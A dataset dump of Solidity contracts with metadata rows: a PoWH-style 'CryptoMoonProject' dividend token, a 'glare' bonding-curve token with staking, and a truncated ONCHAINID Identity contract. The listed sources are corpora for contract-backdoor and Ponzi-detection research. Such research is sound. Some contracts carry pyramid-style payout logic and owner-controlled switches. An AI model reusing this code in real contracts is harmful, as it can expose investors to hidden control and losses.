emit TokenRecovery(_token, _amount);
}
function setMinimumHarvest(uint256 _amount) external onlyOwner {
minimumHarvest = _amount;
emit NewMinimumHarvest(_amount);
}
function setTreasury(address _treasury) external onlyOwner {
require(_treasury != address(0), "Operations: Address cannot be null");
treasury = _treasury;
emit TreasuryAddressChanged(_treasury);
}
function setDepositFee(uint256 _amount) external onlyOwner {
require(_amount <= 250, "Operations: Invalid deposit fee amount");
depositFee = _amount;
emit NewDepositFee(_amount);
}
function setPerformanceFee(uint256 _amount) external onlyOwner {
require(_amount <= 500, "Operations: Invalid performance fee amount");
performanceFee = _amount;
emit NewPerformanceFee(_amount);
}
}
| 40,716 | 13,996 |
845d5a927e01c56830af43fc318d7ae63bc7ec54487bd2217a5411ab2493f77d
| 12,873 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0x2a90a1536dbadcb3be3c3e8af0019478c449fa5c.sol
| 3,277 | 11,885 |
pragma solidity ^0.4.25;
contract CryptoMoonProject {
modifier onlyBagholders {
require(myTokens() > 0);
_;
}
modifier onlyStronghands {
require(myDividends(true) > 0);
_;
}
event onTokenPurchase(address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy,
uint timestamp,
uint256 price);
event onTokenSell(address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned,
uint timestamp,
uint256 price);
event onReinvestment(address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted);
event onWithdraw(address indexed customerAddress,
uint256 ethereumWithdrawn);
event Transfer(address indexed from,
address indexed to,
uint256 tokens);
string public name = "CryptoMoonProject";
string public symbol = "CMP";
uint8 constant public decimals = 18;
uint8 constant internal entryFee_ = 10;
uint8 constant internal transferFee_ = 1;
uint8 constant internal exitFee_ = 4;
uint8 constant internal refferalFee_ = 33;
uint256 constant internal tokenPriceInitial_ = 0.0000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.00000001 ether;
uint256 constant internal magnitude = 2 ** 64;
uint256 public stakingRequirement = 50e18;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
uint256 internal tokenSupply_;
uint256 internal profitPerShare_;
function buy(address _referredBy) public payable returns (uint256) {
purchaseTokens(msg.value, _referredBy);
}
function() payable public {
purchaseTokens(msg.value, 0x0);
}
function reinvest() onlyStronghands public {
uint256 _dividends = myDividends(false);
address _customerAddress = msg.sender;
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
uint256 _tokens = purchaseTokens(_dividends, 0x0);
emit onReinvestment(_customerAddress, _dividends, _tokens);
}
function exit() public {
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if (_tokens > 0) sell(_tokens);
withdraw();
}
function withdraw() onlyStronghands public {
address _customerAddress = msg.sender;
uint256 _dividends = myDividends(false);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function sell(uint256 _amountOfTokens) onlyBagholders public {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude));
payoutsTo_[_customerAddress] -= _updatedPayouts;
if (tokenSupply_ > 0) {
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
}
emit onTokenSell(_customerAddress, _tokens, _taxedEthereum, now, buyPrice());
}
function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders public returns (bool) {
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
if (myDividends(true) > 0) {
withdraw();
}
uint256 _tokenFee = SafeMath.div(SafeMath.mul(_amountOfTokens, transferFee_), 100);
uint256 _taxedTokens = SafeMath.sub(_amountOfTokens, _tokenFee);
uint256 _dividends = tokensToEthereum_(_tokenFee);
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokenFee);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _taxedTokens);
payoutsTo_[_customerAddress] -= (int256) (profitPerShare_ * _amountOfTokens);
payoutsTo_[_toAddress] += (int256) (profitPerShare_ * _taxedTokens);
profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_);
emit Transfer(_customerAddress, _toAddress, _taxedTokens);
return true;
}
function totalEthereumBalance() public view returns (uint256) {
return address (this).balance;
}
function totalSupply() public view returns (uint256) {
return tokenSupply_;
}
function myTokens() public view returns (uint256) {
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
function myDividends(bool _includeReferralBonus) public view returns (uint256) {
address _customerAddress = msg.sender;
return _includeReferralBonus ? dividendsOf(_customerAddress) + referralBalance_[_customerAddress] : dividendsOf(_customerAddress) ;
}
function balanceOf(address _customerAddress) public view returns (uint256) {
return tokenBalanceLedger_[_customerAddress];
}
function dividendsOf(address _customerAddress) public view returns (uint256) {
return (uint256) ((int256) (profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude;
}
function sellPrice() public view returns (uint256) {
// our calculation relies on the token supply, so we need supply. Doh.
if (tokenSupply_ == 0) {
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
function buyPrice() public view returns (uint256) {
if (tokenSupply_ == 0) {
return tokenPriceInitial_ + tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(1e18);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends);
return _taxedEthereum;
}
}
function calculateTokensReceived(uint256 _ethereumToSpend) public view returns (uint256) {
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereumToSpend, entryFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
return _amountOfTokens;
}
function calculateEthereumReceived(uint256 _tokensToSell) public view returns (uint256) {
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell);
uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, exitFee_), 100);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy) internal returns (uint256) {
address _customerAddress = msg.sender;
uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, entryFee_), 100);
uint256 _referralBonus = SafeMath.div(SafeMath.mul(_undividedDividends, refferalFee_), 100);
uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus);
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum);
uint256 _fee = _dividends * magnitude;
require(_amountOfTokens > 0 && SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_);
if (_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
tokenBalanceLedger_[_referredBy] >= stakingRequirement) {
referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus);
} else {
_dividends = SafeMath.add(_dividends, _referralBonus);
_fee = _dividends * magnitude;
}
if (tokenSupply_ > 0) {
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
profitPerShare_ += (_dividends * magnitude / tokenSupply_);
_fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / tokenSupply_)));
} else {
tokenSupply_ = _amountOfTokens;
}
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
int256 _updatedPayouts = (int256) (profitPerShare_ * _amountOfTokens - _fee);
payoutsTo_[_customerAddress] += _updatedPayouts;
emit onTokenPurchase(_customerAddress, _incomingEthereum, _amountOfTokens, _referredBy, now, buyPrice());
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum) internal view returns (uint256) {
uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18;
uint256 _tokensReceived =
((SafeMath.sub((sqrt
((_tokenPriceInitial ** 2)
+
(2 * (tokenPriceIncremental_ * 1e18) * (_ethereum * 1e18))
+
((tokenPriceIncremental_ ** 2) * (tokenSupply_ ** 2))
+
(2 * tokenPriceIncremental_ * _tokenPriceInitial*tokenSupply_))), _tokenPriceInitial)) / (tokenPriceIncremental_)) - (tokenSupply_);
return _tokensReceived;
}
function tokensToEthereum_(uint256 _tokens) internal view returns (uint256) {
uint256 tokens_ = (_tokens + 1e18);
uint256 _tokenSupply = (tokenSupply_ + 1e18);
uint256 _etherReceived =
(SafeMath.sub((((tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18))) - tokenPriceIncremental_) * (tokens_ - 1e18)), (tokenPriceIncremental_ * ((tokens_ ** 2 - tokens_) / 1e18)) / 2)
/ 1e18);
return _etherReceived;
}
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 143,705 | 13,997 |
50ce765b9a39a4add112c1581b1eed9598165f59055f957ddeb06db91dab9a19
| 12,272 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0x845d6a8401f467852dd27802ad5803e12e17fe9f.sol
| 2,867 | 9,546 |
pragma solidity >= 0.6.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function mint(address account, uint256 amount) external;
function burn(address account, uint256 amount) external;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract glare is Owned {
using SafeMath for uint;
constructor() public {
buyMinimum = 10**16;
sellMinimum = 10**16;
buyTax = 10 * 10**2;
referRate = 25 * 10**2;
referRateMasternode = 50 * 10**2;
earlyPenalty = 90 * 10**2;
cdGLXMin = 10**17;
cdDurrationMax = 365;
scalefactor = 10**12;
}
struct accountCDStruct {
uint256 tokenAmount;
uint256 created;
uint256 contractDurration;
bool closed;
}
IERC20 public glaretoken; //GLX token interface
//BASE BUY AND SELL VARIABLES
uint256 public scalefactor; //Price scalar
uint256 public buyMinimum; //minimum buy value in ETH
uint256 public sellMinimum; //minimum sell value in ETH
uint256 public buyTax; //buy tax in 100x tax %
uint256 public referRate; //ref rate in 100x ref %
uint256 public referRateMasternode; //masternode ref rate in 100x ref %
mapping(address => bool) public masternode; //is a refer address a masternode?
mapping(address => address) public referBook; //refer book address --> refer address
//CD VARIABLES
uint256 public tokenTime; //Total number of GLX days
uint256 public cdGLXMin;
uint256 public cdDurrationMax;
uint256 public earlyPenalty; //penalty for closing contract early in 100x 100% - penalty %
mapping(address => accountCDStruct[]) public accountCD; //account --> id --> contract data
function buyTokens(address inputrefer) public payable {
require(msg.value >= buyMinimum, "Does not meet buy minimum");
uint256 tokens = getTokenBuyResult();
uint256 taxedTokens = tokens.mul(buyTax).div(10**4);
uint256 userTokens = tokens.sub(taxedTokens);
//REF CHECK
address refer = referBook[msg.sender];
if(refer == address(0)) {
refer = inputrefer;
}
if(refer != msg.sender) {
if(refer != address(0)) {
if(referBook[msg.sender] == address(0)) {
referBook[msg.sender] = refer;
}
}
}
//IF REFER PAY THEM
if(referBook[msg.sender] != address(0)) {
if(masternode[refer] == true){
uint256 refamt = referRateMasternode.mul(taxedTokens).div(10**4);
mintGlareToken(refer, refamt);
mintGlareToken(address(this), taxedTokens.sub(refamt));
}
else {
uint256 refamt = referRate.mul(taxedTokens).div(10**4);
mintGlareToken(refer, refamt);
mintGlareToken(address(this), taxedTokens.sub(refamt));
}
}
else {
mintGlareToken(address(this), taxedTokens);
}
mintGlareToken(msg.sender, userTokens);
}
function sellTokens(uint256 amount) public {
uint256 eth = getTokenSellResult(amount);
address payable account = msg.sender;
require(eth >= sellMinimum, "Does not meet sell minimum");
require(glaretoken.balanceOf(msg.sender) >= amount, "Sell amount exceeds balance");
burnGlareToken(account, amount);
account.transfer(eth);
}
function openCD(uint256 amount, uint256 durration) public {
require(amount >= cdGLXMin, "Token amount less than minimum");
require(durration > 0, "CD durration must be at least 1 day");
require(durration <= cdDurrationMax, "CD durration longer than maximum");
require(glaretoken.balanceOf(msg.sender) >= amount, "Lock amount exceeds balance");
require(glaretoken.transferFrom(msg.sender, address(this), amount));
tokenTime = amount.mul(durration).div(10**13).add(tokenTime);
accountCDStruct memory newcd;
newcd.tokenAmount = amount;
newcd.contractDurration = durration;
newcd.created = now;
accountCD[msg.sender].push(newcd);
}
function closeCD(uint256 index) public {
require(accountCD[msg.sender][index].tokenAmount != 0);
require(accountCD[msg.sender][index].closed == false);
uint256 contractTokenTime = accountCD[msg.sender][index].contractDurration.mul(accountCD[msg.sender][index].tokenAmount).div(10**13);
uint256 tokensdue = contractTokenTime.mul(glaretoken.balanceOf(address(this))).div(tokenTime);
if(accountCD[msg.sender][index].created.add(accountCD[msg.sender][index].contractDurration.mul(1 days)) > now) {
tokensdue = earlyPenalty.mul(accountCD[msg.sender][index].tokenAmount).div(10**4);
}
tokenTime = tokenTime.sub(contractTokenTime);
accountCD[msg.sender][index].closed = true;
glaretoken.transfer(msg.sender, tokensdue);
}
//VIEW FUNCTIONS
//returns the spot price in terms of eth / token
function spotprice() public view returns(uint256) {
if(glaretoken.totalSupply() == 0) {
return(0);
}
else {
return(address(this).balance.mul(2 * 10**18).div(glaretoken.totalSupply()));
}
}
function getTokenBuyResult() public view returns(uint256) {
uint256 _sold = glaretoken.totalSupply();
uint256 _ethnew = address(this).balance;
uint256 _snew = sqrt(_ethnew.mul(2 * 10**18).div(scalefactor)).mul(10**9);
uint256 _sout = _snew - _sold;
return(_sout);
}
function getTokenSellResult(uint256 amount) public view returns(uint256) {
uint256 _ethold = address(this).balance;
uint256 _sold = glaretoken.totalSupply();
uint256 _snew = _sold.sub(amount);
uint256 _ethnew = scalefactor.mul(_snew**2).div(2*10**36);
uint256 _ethout = _ethold - _ethnew;
return(_ethout);
}
function getAccountCDLength(address account) public view returns(uint256) {
return(accountCD[account].length);
}
//INTERNAL FUNCTIONS
function mintGlareToken(address account, uint256 amount) internal {
glaretoken.mint(account, amount);
}
function burnGlareToken(address account, uint256 amount) internal {
glaretoken.burn(account, amount);
}
//ADMIN FUNCTIONS
function setBuyMinimum(uint256 eth) public onlyOwner() {
buyMinimum = eth;
}
function setSellMinimum(uint256 eth) public onlyOwner() {
sellMinimum = eth;
}
function setMasternode(address account, bool status) public onlyOwner() {
masternode[account] = status;
}
function setGlareToken(IERC20 _glaretoken) public onlyOwner() {
glaretoken = _glaretoken;
}
function setCdGLXMin(uint256 amount) public onlyOwner() {
cdGLXMin = amount;
}
function setCdDurrationMax(uint256 durration) public onlyOwner() {
cdDurrationMax = durration;
}
//Additional needed math functions not part of safemath
function sqrt(uint x) internal pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
fallback() external payable{
revert();
}
receive() external payable {
revert();
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
| 338,968 | 13,998 |
fb35596fd11307a8269f81bc2c97a09523bfa0a067e1f184ee09ec93366ef54f
| 33,271 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0b/0b22440586822056c9d331c9f32f3e01ad1fdde3_Identity.sol
| 3,869 | 15,192 |
// Sources flattened with hardhat v2.12.6 https://hardhat.org
// File contracts/interface/IERC734.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.8.17;
interface IERC734 {
event Approved(uint256 indexed executionId, bool approved);
event Executed(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
event ExecutionRequested(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
event ExecutionFailed(uint256 indexed executionId, address indexed to, uint256 indexed value, bytes data);
event KeyAdded(bytes32 indexed key, uint256 indexed purpose, uint256 indexed keyType);
event KeyRemoved(bytes32 indexed key, uint256 indexed purpose, uint256 indexed keyType);
function addKey(bytes32 _key, uint256 _purpose, uint256 _keyType) external returns (bool success);
function approve(uint256 _id, bool _approve) external returns (bool success);
function removeKey(bytes32 _key, uint256 _purpose) external returns (bool success);
function execute(address _to, uint256 _value, bytes calldata _data) external payable returns (uint256 executionId);
function getKey(bytes32 _key) external view returns (uint256[] memory purposes, uint256 keyType, bytes32 key);
function getKeyPurposes(bytes32 _key) external view returns(uint256[] memory _purposes);
function getKeysByPurpose(uint256 _purpose) external view returns (bytes32[] memory keys);
function keyHasPurpose(bytes32 _key, uint256 _purpose) external view returns (bool exists);
}
// File contracts/interface/IERC735.sol
interface IERC735 {
event ClaimAdded(bytes32 indexed claimId,
uint256 indexed topic,
uint256 scheme,
address indexed issuer,
bytes signature,
bytes data,
string uri);
event ClaimRemoved(bytes32 indexed claimId,
uint256 indexed topic,
uint256 scheme,
address indexed issuer,
bytes signature,
bytes data,
string uri);
event ClaimChanged(bytes32 indexed claimId,
uint256 indexed topic,
uint256 scheme,
address indexed issuer,
bytes signature,
bytes data,
string uri);
function addClaim(uint256 _topic,
uint256 _scheme,
address issuer,
bytes calldata _signature,
bytes calldata _data,
string calldata _uri)
external returns (bytes32 claimRequestId);
function removeClaim(bytes32 _claimId) external returns (bool success);
function getClaim(bytes32 _claimId)
external view returns(uint256 topic,
uint256 scheme,
address issuer,
bytes memory signature,
bytes memory data,
string memory uri);
function getClaimIdsByTopic(uint256 _topic) external view returns(bytes32[] memory claimIds);
}
// File contracts/interface/IIdentity.sol
// solhint-disable-next-line no-empty-blocks
interface IIdentity is IERC734, IERC735 {}
// File contracts/interface/IClaimIssuer.sol
interface IClaimIssuer is IIdentity {
event ClaimRevoked(bytes indexed signature);
function revokeClaim(bytes32 _claimId, address _identity) external returns(bool);
function revokeClaimBySignature(bytes calldata signature) external;
function isClaimRevoked(bytes calldata _sig) external view returns (bool);
function isClaimValid(IIdentity _identity,
uint256 claimTopic,
bytes calldata sig,
bytes calldata data)
external view returns (bool);
function getRecoveredAddress(bytes calldata sig, bytes32 dataHash) external pure returns (address);
}
// File contracts/storage/Structs.sol
contract Structs {
struct Key {
uint256[] purposes;
uint256 keyType;
bytes32 key;
}
struct Execution {
address to;
uint256 value;
bytes data;
bool approved;
bool executed;
}
struct Claim {
uint256 topic;
uint256 scheme;
address issuer;
bytes signature;
bytes data;
string uri;
}
}
// File contracts/storage/Storage.sol
contract Storage is Structs {
// nonce used by the execute/approve function
uint256 internal _executionNonce;
// keys as defined by IERC734
mapping(bytes32 => Key) internal _keys;
// keys for a given purpose
// purpose 1 = MANAGEMENT
// purpose 2 = ACTION
// purpose 3 = CLAIM
mapping(uint256 => bytes32[]) internal _keysByPurpose;
// execution data
mapping(uint256 => Execution) internal _executions;
// claims held by the ONCHAINID
mapping(bytes32 => Claim) internal _claims;
// array of claims for a given topic
mapping(uint256 => bytes32[]) internal _claimsByTopic;
// status on initialization
bool internal _initialized = false;
// status on potential interactions with the contract
bool internal _canInteract = false;
uint256[49] private __gap;
}
// File contracts/version/Version.sol
contract Version {
function version() external pure returns (string memory) {
// version 2.0.0
return "2.0.0";
}
}
// File contracts/Identity.sol
contract Identity is Storage, IIdentity, Version {
modifier delegatedOnly() {
require(_canInteract == true, "Interacting with the library contract is forbidden.");
_;
}
modifier onlyManager() {
require(msg.sender == address(this) || keyHasPurpose(keccak256(abi.encode(msg.sender)), 1)
, "Permissions: Sender does not have management key");
_;
}
modifier onlyClaimKey() {
require(msg.sender == address(this) || keyHasPurpose(keccak256(abi.encode(msg.sender)), 3)
, "Permissions: Sender does not have claim signer key");
_;
}
constructor(address initialManagementKey, bool _isLibrary) {
require(initialManagementKey != address(0), "invalid argument - zero address");
if (!_isLibrary) {
__Identity_init(initialManagementKey);
} else {
_initialized = true;
}
}
function initialize(address initialManagementKey) external {
require(initialManagementKey != address(0), "invalid argument - zero address");
__Identity_init(initialManagementKey);
}
function execute(address _to, uint256 _value, bytes memory _data)
external
delegatedOnly
override
payable
returns (uint256 executionId)
{
uint256 _executionId = _executionNonce;
_executions[_executionId].to = _to;
_executions[_executionId].value = _value;
_executions[_executionId].data = _data;
_executionNonce++;
emit ExecutionRequested(_executionId, _to, _value, _data);
if (keyHasPurpose(keccak256(abi.encode(msg.sender)), 1)) {
approve(_executionId, true);
}
else if (_to != address(this) && keyHasPurpose(keccak256(abi.encode(msg.sender)), 2)){
approve(_executionId, true);
}
return _executionId;
}
function getKey(bytes32 _key)
external
override
view
returns(uint256[] memory purposes, uint256 keyType, bytes32 key)
{
return (_keys[_key].purposes, _keys[_key].keyType, _keys[_key].key);
}
function getKeyPurposes(bytes32 _key)
external
override
view
returns(uint256[] memory _purposes)
{
return (_keys[_key].purposes);
}
function getKeysByPurpose(uint256 _purpose)
external
override
view
returns(bytes32[] memory keys)
{
return _keysByPurpose[_purpose];
}
function getClaimIdsByTopic(uint256 _topic)
external
override
view
returns(bytes32[] memory claimIds)
{
return _claimsByTopic[_topic];
}
function addKey(bytes32 _key, uint256 _purpose, uint256 _type)
public
delegatedOnly
onlyManager
override
returns (bool success)
{
if (_keys[_key].key == _key) {
uint256[] memory _purposes = _keys[_key].purposes;
for (uint keyPurposeIndex = 0; keyPurposeIndex < _purposes.length; keyPurposeIndex++) {
uint256 purpose = _purposes[keyPurposeIndex];
if (purpose == _purpose) {
revert("Conflict: Key already has purpose");
}
}
_keys[_key].purposes.push(_purpose);
} else {
_keys[_key].key = _key;
_keys[_key].purposes = [_purpose];
_keys[_key].keyType = _type;
}
_keysByPurpose[_purpose].push(_key);
emit KeyAdded(_key, _purpose, _type);
return true;
}
function approve(uint256 _id, bool _approve)
public
delegatedOnly
override
returns (bool success)
{
require(_id < _executionNonce, "Cannot approve a non-existing execution");
require(!_executions[_id].executed, "Request already executed");
if(_executions[_id].to == address(this)) {
require(keyHasPurpose(keccak256(abi.encode(msg.sender)), 1), "Sender does not have management key");
}
else {
require(keyHasPurpose(keccak256(abi.encode(msg.sender)), 2), "Sender does not have action key");
}
emit Approved(_id, _approve);
if (_approve == true) {
_executions[_id].approved = true;
// solhint-disable-next-line avoid-low-level-calls
(success,) = _executions[_id].to.call{value:(_executions[_id].value)}(_executions[_id].data);
if (success) {
_executions[_id].executed = true;
emit Executed(_id,
_executions[_id].to,
_executions[_id].value,
_executions[_id].data);
return true;
} else {
emit ExecutionFailed(_id,
_executions[_id].to,
_executions[_id].value,
_executions[_id].data);
return false;
}
} else {
_executions[_id].approved = false;
}
return false;
}
function removeKey(bytes32 _key, uint256 _purpose)
public
delegatedOnly
onlyManager
override
returns (bool success)
{
require(_keys[_key].key == _key, "NonExisting: Key isn't registered");
uint256[] memory _purposes = _keys[_key].purposes;
uint purposeIndex = 0;
while (_purposes[purposeIndex] != _purpose) {
purposeIndex++;
if (purposeIndex == _purposes.length) {
revert("NonExisting: Key doesn't have such purpose");
}
}
_purposes[purposeIndex] = _purposes[_purposes.length - 1];
_keys[_key].purposes = _purposes;
_keys[_key].purposes.pop();
uint keyIndex = 0;
uint arrayLength = _keysByPurpose[_purpose].length;
while (_keysByPurpose[_purpose][keyIndex] != _key) {
keyIndex++;
if (keyIndex >= arrayLength) {
break;
}
}
_keysByPurpose[_purpose][keyIndex] = _keysByPurpose[_purpose][arrayLength - 1];
_keysByPurpose[_purpose].pop();
uint keyType = _keys[_key].keyType;
if (_purposes.length - 1 == 0) {
delete _keys[_key];
}
emit KeyRemoved(_key, _purpose, keyType);
return true;
}
function addClaim(uint256 _topic,
uint256 _scheme,
address _issuer,
bytes memory _signature,
bytes memory _data,
string memory _uri)
public
delegatedOnly
onlyClaimKey
override
returns (bytes32 claimRequestId)
{
if (_issuer != address(this)) {
require(IClaimIssuer(_issuer).isClaimValid(IIdentity(address(this)), _topic, _signature, _data), "invalid claim");
}
bytes32 claimId = keccak256(abi.encode(_issuer, _topic));
_claims[claimId].topic = _topic;
_claims[claimId].scheme = _scheme;
_claims[claimId].signature = _signature;
_claims[claimId].data = _data;
_claims[claimId].uri = _uri;
if (_claims[claimId].issuer != _issuer) {
_claimsByTopic[_topic].push(claimId);
_claims[claimId].issuer = _issuer;
emit ClaimAdded(claimId, _topic, _scheme, _issuer, _signature, _data, _uri);
}
else {
emit ClaimChanged(claimId, _topic, _scheme, _issuer, _signature, _data, _uri);
}
return claimId;
}
function removeClaim(bytes32 _claimId)
public
delegatedOnly
onlyClaimKey
override
returns
(bool success) {
uint256 _topic = _claims[_claimId].topic;
if (_topic == 0) {
revert("NonExisting: There is no claim with this ID");
}
uint claimIndex = 0;
uint arrayLength = _claimsByTopic[_topic].length;
while (_claimsByTopic[_topic][claimIndex] != _claimId) {
claimIndex++;
if (claimIndex >= arrayLength) {
break;
}
}
_claimsByTopic[_topic][claimIndex] =
_claimsByTopic[_topic][arrayLength - 1];
_claimsByTopic[_topic].pop();
emit ClaimRemoved(_claimId,
_topic,
_claims[_claimId].scheme,
_claims[_claimId].issuer,
_claims[_claimId].signature,
_claims[_claimId].data,
_claims[_claimId].uri);
delete _claims[_claimId];
return true;
}
function getClaim(bytes32 _claimId)
public
override
view
returns(uint256 topic,
uint256 scheme,
address issuer,
bytes memory signature,
bytes memory data,
string memory uri)
{
return (_claims[_claimId].topic,
_claims[_claimId].scheme,
_claims[_claimId].issuer,
_claims[_claimId].signature,
_claims[_claimId].data,
_claims[_claimId].uri);
}
function keyHasPurpose(bytes32 _key, uint256 _purpose)
public
override
view
returns(bool result)
{
Key memory key = _keys[_key];
if (key.key == 0) return false;
for (uint keyPurposeIndex = 0; keyPurposeIndex < key.purposes.length; keyPurposeIndex++) {
uint256 purpose = key.purposes[keyPurposeIndex];
if (purpose == 1 || purpose == _purpose) return true;
}
return false;
}
// solhint-disable-next-line func-name-mixedcase
function __Identity_init(address initialManagementKey) internal {
require(!_initialized || _isConstructor(), "Initial key was already setup.");
_initialized = true;
_canInteract = true;
bytes32 _key = keccak256(abi.encode(initialManagementKey));
_keys[_key].key = _key;
_keys[_key].purposes = [1];
_keys[_key].keyType = 1;
_keysByPurpose[1].push(_key);
emit KeyAdded(_key, 1, 1);
}
